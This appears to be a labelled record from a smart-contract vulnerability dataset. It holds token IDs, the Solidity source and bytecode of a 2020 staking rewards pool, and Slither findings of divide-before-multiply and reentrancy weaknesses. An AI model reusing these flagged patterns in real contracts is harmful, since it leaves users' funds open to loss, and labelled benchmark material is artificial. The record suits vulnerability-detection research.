[ 101, 1014, 2595, 2683, 27814, 16932, 26976, 2278, 2620, 2063, 2620, 2581, 2050, 2549, 2546, 22610, 2278, 2546, 20952, 2683, 2487, 7875, 4246, 23632, 16048, 2497, 2094, 22203, 2620, 2546, 16576, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2321, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,665
0x95814e8fec4213f54495b1b7e75976d819e7324e
/** *Submitted for verification at Etherscan.io on 2020-08-11 */ /** *Submitted for verification at Etherscan.io on 2020-07-17 */ /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: YAMRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address public rewardDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/CurveRewards.sol pragma solidity ^0.5.0; interface YAM { function yamsScalingFactor() external returns (uint256); } contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public weth = IERC20(0xCF67CEd76E8356366291246A9222169F4dBdBe64); uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); weth.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); weth.safeTransfer(msg.sender, amount); } } contract ZONBIEDICEPool is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public yam = IERC20(0x87A94fC3Aa8902d6Af104Ae22DABfc72c2A4da57); uint256 public DURATION = 259200; // ~3 days uint256 public starttime = 1598263200; // 2020-08-24 10:00:00 (UTC UTC +00:00) uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier checkStart() { require(block.timestamp >= starttime,"not start"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function change_duration(uint du)public onlyRewardDistribution{ DURATION = du; } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 scalingFactor = YAM(address(yam)).yamsScalingFactor(); uint256 trueReward = reward.mul(scalingFactor).div(10**18); yam.safeTransfer(msg.sender, trueReward); emit RewardPaid(msg.sender, trueReward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } }
0x608060405234801561001057600080fd5b50600436106101a85760003560e01c80637b0a47ee116100f9578063c8f33c9111610097578063df136d6511610071578063df136d6514610393578063e9fad8ee1461039b578063ebe2b12b146103a3578063f2fde38b146103ab576101a8565b8063c8f33c9114610366578063c9abf0051461036e578063cd3daf9d1461038b576101a8565b80638da58897116100d35780638da588971461031d5780638da5cb5b146103255780638f32d59b1461032d578063a694fc3a14610349576101a8565b80637b0a47ee146102e757806380faa57d146102ef5780638b876347146102f7576101a8565b80631be05289116101665780633d18b912116101405780633d18b912146102a95780633fc8cef3146102b157806370a08231146102b9578063715018a6146102df576101a8565b80631be05289146102675780632e1a7d4d1461026f5780633c6b16ab1461028c576101a8565b80628cc262146101ad5780630700037d146101e5578063071c03321461020b5780630d68b7611461022f578063101114cf1461025757806318160ddd1461025f575b600080fd5b6101d3600480360360208110156101c357600080fd5b50356001600160a01b03166103d1565b60408051918252519081900360200190f35b6101d3600480360360208110156101fb57600080fd5b50356001600160a01b0316610457565b610213610469565b604080516001600160a01b039092168252519081900360200190f35b6102556004803603602081101561024557600080fd5b50356001600160a01b0316610478565b005b6102136104f3565b6101d3610502565b6101d3610509565b6102556004803603602081101561028557600080fd5b503561050f565b610255600480360360208110156102a257600080fd5b5035610639565b61025561082d565b6102136109da565b6101d3600480360360208110156102cf57600080fd5b50356001600160a01b03166109e9565b610255610a04565b6101d3610aa7565b6101d3610aad565b6101d36004803603602081101561030d57600080fd5b50356001600160a01b0316610ac0565b6101d3610ad2565b610213610ad8565b610335610ae7565b604080519115158252519081900360200190f35b6102556004803603602081101561035f57600080fd5b5035610b0d565b6101d3610c34565b6102556004803603602081101561038457600080fd5b5035610c3a565b6101d3610c98565b6101d3610cec565b610255610cf2565b6101d3610d0d565b610255600480360360208110156103c157600080fd5b50356001600160a01b0316610d13565b6001600160a01b0381166000908152600d6020908152604080832054600c909252822054610451919061044590670de0b6b3a7640000906104399061042490610418610c98565b9063ffffffff610d7816565b61042d886109e9565b9063ffffffff610dc116565b9063ffffffff610e1a16565b9063ffffffff610e5c16565b92915050565b600d6020526000908152604090205481565b6005546001600160a01b031681565b610480610ae7565b6104d1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b6001545b90565b60065481565b33610518610c98565b600b55610523610aad565b600a556001600160a01b0381161561056a5761053e816103d1565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6007544210156105ad576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b600082116105f6576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b6105ff82610eb6565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6004546001600160a01b031661064d610f17565b6001600160a01b0316146106925760405162461bcd60e51b81526004018080602001828103825260218152602001806114236021913960400191505060405180910390fd5b600061069c610c98565b600b556106a7610aad565b600a556001600160a01b038116156106ee576106c2816103d1565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6007544211156107c057600854421061071d5760065461071590839063ffffffff610e1a16565b60095561076c565b600854600090610733904263ffffffff610d7816565b9050600061074c60095483610dc190919063ffffffff16565b60065490915061076690610439868463ffffffff610e5c16565b60095550505b42600a819055600654610785919063ffffffff610e5c16565b6008556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1610829565b6006546107d490839063ffffffff610e1a16565b600955600754600a8190556006546107f2919063ffffffff610e5c16565b6008556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15b5050565b33610836610c98565b600b55610841610aad565b600a556001600160a01b038116156108885761085c816103d1565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6007544210156108cb576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60006108d6336103d1565b9050801561082957336000908152600d602090815260408083208390556005548151635b7d42bb60e11b815291516001600160a01b039091169263b6fa8576926004808201939182900301818787803b15801561093257600080fd5b505af1158015610946573d6000803e3d6000fd5b505050506040513d602081101561095c57600080fd5b50519050600061097e670de0b6b3a7640000610439858563ffffffff610dc116565b60055490915061099e906001600160a01b0316338363ffffffff610f1b16565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a250505050565b6000546001600160a01b031681565b6001600160a01b031660009081526002602052604090205490565b610a0c610ae7565b610a5d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60095481565b6000610abb42600854610f72565b905090565b600c6020526000908152604090205481565b60075481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610afe610f17565b6001600160a01b031614905090565b33610b16610c98565b600b55610b21610aad565b600a556001600160a01b03811615610b6857610b3c816103d1565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b600754421015610bab576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610bf1576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610bfa82610f88565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b6004546001600160a01b0316610c4e610f17565b6001600160a01b031614610c935760405162461bcd60e51b81526004018080602001828103825260218152602001806114236021913960400191505060405180910390fd5b600655565b6000610ca2610502565b610caf5750600b54610506565b610abb610cdd610cbd610502565b610439670de0b6b3a764000061042d60095461042d600a54610418610aad565b600b549063ffffffff610e5c16565b600b5481565b610d03610cfe336109e9565b61050f565b610d0b61082d565b565b60085481565b610d1b610ae7565b610d6c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610d7581610fea565b50565b6000610dba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108b565b9392505050565b600082610dd057506000610451565b82820282848281610ddd57fe5b0414610dba5760405162461bcd60e51b81526004018080602001828103825260218152602001806114026021913960400191505060405180910390fd5b6000610dba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611122565b600082820183811015610dba576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600154610ec9908263ffffffff610d7816565b60015533600090815260026020526040902054610eec908263ffffffff610d7816565b336000818152600260205260408120929092559054610d75916001600160a01b039091169083610f1b565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610f6d908490611187565b505050565b6000818310610f815781610dba565b5090919050565b600154610f9b908263ffffffff610e5c16565b60015533600090815260026020526040902054610fbe908263ffffffff610e5c16565b336000818152600260205260408120929092559054610d75916001600160a01b03909116903084611345565b6001600160a01b03811661102f5760405162461bcd60e51b81526004018080602001828103825260268152602001806113dc6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000818484111561111a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110df5781810151838201526020016110c7565b50505050905090810190601f16801561110c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836111715760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110df5781810151838201526020016110c7565b50600083858161117d57fe5b0495945050505050565b611199826001600160a01b031661139f565b6111ea576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106112285780518252601f199092019160209182019101611209565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461128a576040519150601f19603f3d011682016040523d82523d6000602084013e61128f565b606091505b5091509150816112e6576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561133f5780806020019051602081101561130257600080fd5b505161133f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611444602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261133f908590611187565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906113d35750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582056423f47f70df6642fe1f08bc33973b7135dd9030dd3ac156caa449279bdd4c164736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
